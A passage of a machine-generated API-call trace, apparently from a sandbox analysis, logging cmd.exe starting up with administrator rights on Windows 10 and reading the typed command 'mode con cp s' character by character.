_String2="TIME") returned -4 [0149.374] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0149.374] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0149.374] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0149.374] GetProcessHeap () returned 0x206da0a0000 [0149.374] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a64a0) returned 1 [0149.374] GetEnvironmentStringsW () returned 0x206da0a5a10* [0149.374] GetProcessHeap () returned 0x206da0a0000 [0149.374] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xa94) returned 0x206da0a7a10 [0149.375] FreeEnvironmentStringsA (penv="A") returned 1 [0149.375] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0149.375] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0149.375] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0149.375] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0149.375] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0149.375] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0149.375] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0149.375] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0149.375] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0149.375] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0149.375] malloc (_Size=0xffce) returned 0x206da260040 [0149.375] ??_V@YAXPEAX@Z () returned 0x206da260040 [0149.375] GetProcessHeap () returned 0x206da0a0000 [0149.375] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x38) returned 0x206da0a84b0 [0149.375] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x206da260040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0149.375] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x206da260040, lpFilePart=0x8484f8f570 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x8484f8f570*="system32") returned 0x13 [0149.376] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0149.376] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x8484f8f2a0 | out: lpFindFileData=0x8484f8f2a0) returned 0x206da0a84f0 [0149.376] FindClose (in: hFindFile=0x206da0a84f0 | out: hFindFile=0x206da0a84f0) returned 1 [0149.376] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x8484f8f2a0 | out: lpFindFileData=0x8484f8f2a0) returned 0x206da0a84f0 [0149.376] FindClose (in: hFindFile=0x206da0a84f0 | out: hFindFile=0x206da0a84f0) returned 1 [0149.376] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0149.376] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0149.376] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0149.376] GetProcessHeap () returned 0x206da0a0000 [0149.376] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a7a10) returned 1 [0149.376] GetEnvironmentStringsW () returned 0x206da0a84f0* [0149.376] GetProcessHeap () returned 0x206da0a0000 [0149.376] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xac4) returned 0x206da0a5a10 [0149.377] FreeEnvironmentStringsA (penv="=") returned 1 [0149.377] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x206da240080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0149.377] GetProcessHeap () returned 0x206da0a0000 [0149.377] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a84b0) returned 1 [0149.377] ??_V@YAXPEAX@Z () returned 0x1 [0149.377] ??_V@YAXPEAX@Z () returned 0x1 [0149.377] GetProcessHeap () returned 0x206da0a0000 [0149.377] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x4016) returned 0x206da0a7a10 [0149.377] GetProcessHeap () returned 0x206da0a0000 [0149.377] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a7a10) returned 1 [0149.377] GetConsoleOutputCP () returned 0x1b5 [0149.535] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0149.535] GetUserDefaultLCID () returned 0x409 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7d4abbb78, cchData=8 | out: lpLCData=":") returned 2 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x8484f8f930, cchData=128 | out: lpLCData="0") returned 2 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x8484f8f930, cchData=128 | out: lpLCData="0") returned 2 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x8484f8f930, cchData=128 | out: lpLCData="1") returned 2 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7d4abbb68, cchData=8 | out: lpLCData="/") returned 2 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7d4abbb00, cchData=32 | out: lpLCData="Mon") returned 4 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7d4abbac0, cchData=32 | out: lpLCData="Tue") returned 4 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7d4abba80, cchData=32 | out: lpLCData="Wed") returned 4 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7d4abba40, cchData=32 | out: lpLCData="Thu") returned 4 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7d4abba00, cchData=32 | out: lpLCData="Fri") returned 4 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7d4abb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7d4abb980, cchData=32 | out: lpLCData="Sun") returned 4 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7d4abbb58, cchData=8 | out: lpLCData=".") returned 2 [0149.535] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7d4abbb40, cchData=8 | out: lpLCData=",") returned 2 [0149.535] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0149.537] GetProcessHeap () returned 0x206da0a0000 [0149.537] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x0, Size=0x20c) returned 0x206da0a6550 [0149.537] GetConsoleTitleW (in: lpConsoleTitle=0x206da0a6550, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0149.634] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.634] GetFileType (hFile=0x254) returned 0x3 [0149.635] ApiSetQueryApiSetPresence () returned 0x0 [0149.635] ResolveDelayLoadedAPI () returned 0x7ff9aca3d990 [0149.637] BrandingFormatString () returned 0x206da0a6c20 [0149.643] GetVersion () returned 0x3ad7000a [0149.643] _vsnwprintf (in: _Buffer=0x8484f8fa90, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x8484f8fa28 | out: _Buffer="10.0.15063") returned 10 [0149.644] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.644] GetFileType (hFile=0x254) returned 0x3 [0149.644] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7d4ac7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0149.644] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7d4ac7f60, nSize=0x2000, Arguments=0x8484f8fa30 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0149.644] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0149.644] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x8484f8f988, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f988*=0x26, lpOverlapped=0x0) returned 1 [0149.644] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8484f8fa58 | out: _Buffer="\r\n") returned 2 [0149.644] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.644] GetFileType (hFile=0x254) returned 0x3 [0149.644] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.644] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0149.644] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8484f8fa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8fa28*=0x2, lpOverlapped=0x0) returned 1 [0149.644] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x8484f8fa58 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0149.644] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.644] GetFileType (hFile=0x254) returned 0x3 [0149.644] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0149.645] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x8484f8fa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8fa28*=0x34, lpOverlapped=0x0) returned 1 [0149.645] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8484f8fa58 | out: _Buffer="\r\n") returned 2 [0149.645] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.645] GetFileType (hFile=0x254) returned 0x3 [0149.645] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.645] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0149.645] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8484f8fa28, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8fa28*=0x2, lpOverlapped=0x0) returned 1 [0149.645] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff9b4be0000 [0149.645] GetProcAddress (hModule=0x7ff9b4be0000, lpProcName="CopyFileExW") returned 0x7ff9b4bfe830 [0149.645] GetProcAddress (hModule=0x7ff9b4be0000, lpProcName="IsDebuggerPresent") returned 0x7ff9b4bfe300 [0149.645] GetProcAddress (hModule=0x7ff9b4be0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff9b1d70a40 [0149.645] ??_V@YAXPEAX@Z () returned 0x1 [0149.646] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.646] GetFileType (hFile=0x248) returned 0x3 [0149.646] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0149.646] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x8484f8f898 | out: TokenHandle=0x8484f8f898*=0x0) returned 0xc000007c [0149.646] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x8484f8f898 | out: TokenHandle=0x8484f8f898*=0x94) returned 0x0 [0149.646] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x8484f8f848, TokenInformationLength=0x4, ReturnLength=0x8484f8f850 | out: TokenInformation=0x8484f8f848, ReturnLength=0x8484f8f850) returned 0x0 [0149.646] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x8484f8f850, TokenInformationLength=0x4, ReturnLength=0x8484f8f848 | out: TokenInformation=0x8484f8f850, ReturnLength=0x8484f8f848) returned 0x0 [0149.646] NtClose (Handle=0x94) returned 0x0 [0149.646] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x8484f8f860, nSize=0x0, Arguments=0x8484f8f868 | out: lpBuffer) returned 0xf [0149.646] GetProcessHeap () returned 0x206da0a0000 [0149.646] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0x218) returned 0x206da0a8bb0 [0149.646] GetConsoleTitleW (in: lpConsoleTitle=0x8484f8f8b0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0149.828] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0149.828] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0149.939] GetProcessHeap () returned 0x206da0a0000 [0149.939] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a8bb0) returned 1 [0149.939] LocalFree (hMem=0x206da0a6e30) returned 0x0 [0149.940] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8484f8f6d8 | out: _Buffer="\r\n") returned 2 [0149.940] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.940] GetFileType (hFile=0x254) returned 0x3 [0149.940] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.940] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0149.940] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8484f8f6a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f6a8*=0x2, lpOverlapped=0x0) returned 1 [0149.940] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0149.940] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x206da240080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0149.940] malloc (_Size=0x107ce) returned 0x206da250060 [0149.940] _vsnwprintf (in: _Buffer=0x206da250060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x8484f8f6e8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0149.941] _vsnwprintf (in: _Buffer=0x206da250086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x8484f8f6e8 | out: _Buffer=">") returned 1 [0149.941] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.941] GetFileType (hFile=0x254) returned 0x3 [0149.941] _get_osfhandle (_FileHandle=1) returned 0x254 [0149.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0149.941] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x8484f8f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f6d8*=0x14, lpOverlapped=0x0) returned 1 [0149.941] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.941] GetFileType (hFile=0x248) returned 0x3 [0149.941] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.941] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.941] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0149.941] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.941] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.941] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0149.941] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.941] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.941] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0149.941] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.941] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.941] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0149.941] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.941] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.941] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.941] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0149.941] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.941] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.942] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0149.942] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.942] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.942] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0149.942] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.942] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.942] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0149.942] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.942] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.942] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0149.942] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.942] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.942] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0149.942] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.942] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.942] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0149.942] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.942] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.942] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0149.942] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.942] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.942] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.942] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0149.942] _get_osfhandle (_FileHandle=0) returned 0x248 [0149.942] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.942] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0149.943] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0149.943] _get_osfhandle 